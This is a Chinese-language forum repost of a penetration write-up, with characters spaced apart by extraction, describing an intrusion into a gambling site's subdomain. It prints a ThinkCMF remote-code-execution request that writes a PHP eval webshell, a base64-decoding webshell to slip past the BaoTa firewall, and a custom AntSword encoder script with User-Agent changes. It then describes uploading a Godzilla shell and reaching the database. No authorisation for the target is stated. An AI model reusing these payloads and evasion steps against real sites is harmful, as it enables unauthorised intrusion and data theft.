搜索

[18320] 2021-03-26_实战记一次绕过宝塔防火墙的BC站渗透

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-03-26_实战记一次绕过宝塔防火墙的BC站渗透 实 战 | 记 一 次 绕 过 宝 塔 防 火 墙 的 B C 站 渗 透 p u r e q h   H A C K 之 道   2 0 2 1 - 0 3 - 2 6 0 x 0 0   信 息 收 集 信 息 收 集 由 于 主 站 存 在 云 w a f   一 测 就 封   且 初 步 测 试 不 存 在 能 用 得 上 的 洞   所 以 转 战 分 站   希 望 能 通 过 分 站 获 得 有 价 值 的 信 息 这 是 一 个 查 询 代 理 帐 号 的 站   u r l 输 入 a d m i n   自 动 跳 转 至 后 台 看 这 个 参 数   猜 测 可 能 是 t h i n k C M F 0 x 0 1   g e t s h e l l t h i n k c m f 正 好 有 一 个 R C E   可 以 尝 试 一 下 ? a = f e t c h & t e m p l a t e F i l e = p u b l i c / i n d e x & p r e f i x = ' ' & c o n t e n t = < p h p > f i l e _ p u t _ c o n t e n t s ( ' t e s t 1 . p h p ' , ' < ? p h p   @ e v a l ( $ _ P O S T [ z e r o ] ) ? > ' ) < / p h p >
白 屏 是 个 好 兆 头   应 该 是 成 功 了 访 问 一 下 尝 试 蚁 剑 连 接   直 接 报 错   猜 测 可 能 遇 到 防 火 墙 了 然 后 再 回 来 看 一 下 s h e l l   手 动 尝 试 一 个 p h p i n f o
果 然 存 在 宝 塔 防 火 墙 0 x 0 2   绕 过 宝 塔 防 火 墙 绕 过 宝 塔 防 火 墙 宝 塔 应 该 对 部 分 函 数 进 行 了 过 滤 ， 所 以 直 接 传 递 p a y l o a d 肯 定 是 不 行 的 ， 所 以 我 们 需 要 对 流 量 进 行 混 淆 加 密 。 尝 试 将 所 有 的 p a y l o a d   B a s e 6 4 编 码 传 输 既 然 传 过 去 的 是 编 码 后 的 B a s e 6 4 ， 小 马 也 应 该 相 应 做 出 改 变 ， 只 需 解 密 一 次 传 递 过 来 的 b a s e 6 4 即 可 。 小 马 如 下 ： < ? p h p   @ e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ z e r o ] ) ) ; ? > 将 p h p i n f o ( ) ; b a s e 6 4 编 码 为   c G h w a W 5 m b y g p O w = = 发 送
可 见   宝 塔 防 火 墙 没 再 拦 截   已 经 成 功 绕 过 宝 塔 防 火 墙 0 x 0 3   改 造 蚁 剑 改 造 蚁 剑 我 们 用 到 的 是 B a s e 6 4 编 码 ， 但 是 蚁 剑 其 实 是 自 带 B a s e 6 4 编 码 解 码 器 的   。 尝 试 直 接 使 用 自 带 的 B a s e 6 4 编 码 器
为 什 么 会 这 样 呢 ？ 我 们 尝 试 从 蚁 剑 的 流 量 分 析 设 置 代 理 到 b u r p 拦 截 流 量 我 们 可 以 看 到   明 显 有 两 个 地 方 容 易 被 w a f 识 别 一 是 ： U s e r - A g e n t 头 的 关 键 字 ： a n t S w o r d / v 2 . 1   这 相 当 于 直 接 告 诉 w a f 我 是 谁 了 ，   所 以 这 是 第 一 个 要 更 改 的 点 二 是 ： 蚁 剑 的 流 量 其 实 还 是 有 关 键 字 的   比 如 c m d 参 数 后 的   e v a l   b a s e 6 4 _ d e c o d e   都 是 ， 而 且 我 们 的 小 马 自 带 B a s e 6 4 解 密 ， 所 以 用 它 的 默 认 编 码 器 不 仅 过 不 去 w a f   即 使 没 w a f 也 不 能 正 常 连 接 我 们 的 小 马 ， 所 以 需 要 自 己 定 义 编 码 器 。 新 建 P H P 编 码 器
由 于 我 们 只 需 要 将 p a y l o a d B a s e 6 4 编 码 一 次 即 可 ， 所 以 直 接 将   处 理 赋 值 即 可   随 机 参 数 有 没 有 无 所 谓 的 编 码 器 如 下 ' u s e   s t r i c t ' ; / * *   @ p a r a m     { S t r i n g }   p w d       连 接 密 码 *   @ p a r a m     { A r r a y }     d a t a     编 码 器 处 理 前 的   p a y l o a d   数 组 *   @ r e t u r n   { A r r a y }     d a t a     编 码 器 处 理 后 的   p a y l o a d   数 组 * / m o d u l e . e x p o r t s   =   ( p w d ,   d a t a ,   e x t = { } )   = >   {     d a t a [ p w d ]   =   B u f f e r . f r o m ( d a t a [ ' _ ' ] ) . t o S t r i n g ( ' b a s e 6 4 ' ) ;     d e l e t e   d a t a [ ' _ ' ] ;     r e t u r n   d a t a ; } 然 后 修 改 U A 头 d a t a [ ' _ ' ] B a s e 6 4
应 用 我 们 的 编 码 器   解 码 器 不 需 要 指 定   默 认 即 可 建 议 选 择   增 加 垃 圾 数 据 和 M u l t i p a r t 发 包 再 次 测 试 连 接
然 后 点 击 目 录   发 现 依 然 存 在 问 题   不 能 跨 目 录   这 个 问 题 其 实 哥 斯 拉 可 以 解 决   上 传 哥 斯 拉 马 这 里 可 能 有 人 会 问 了   那 你 直 接 上 传 哥 斯 拉 马 不 就 行 了 吗   实 际 情 况 是   g e t 传 参 有 长 度 限 制   而 且 有 的 符 号 会 导 致 截 断 p h p 文 件 无 法 上 传 完 整
网 站 有 挺 多   但 是 很 可 惜 没 有 主 站   数 据 库 里 只 有 一 堆 代 理 帐 号   浪 费 时 间 了 作 者 ： p u r e q h ， 转 载 于 先 知 社 区 。 ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ）
点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理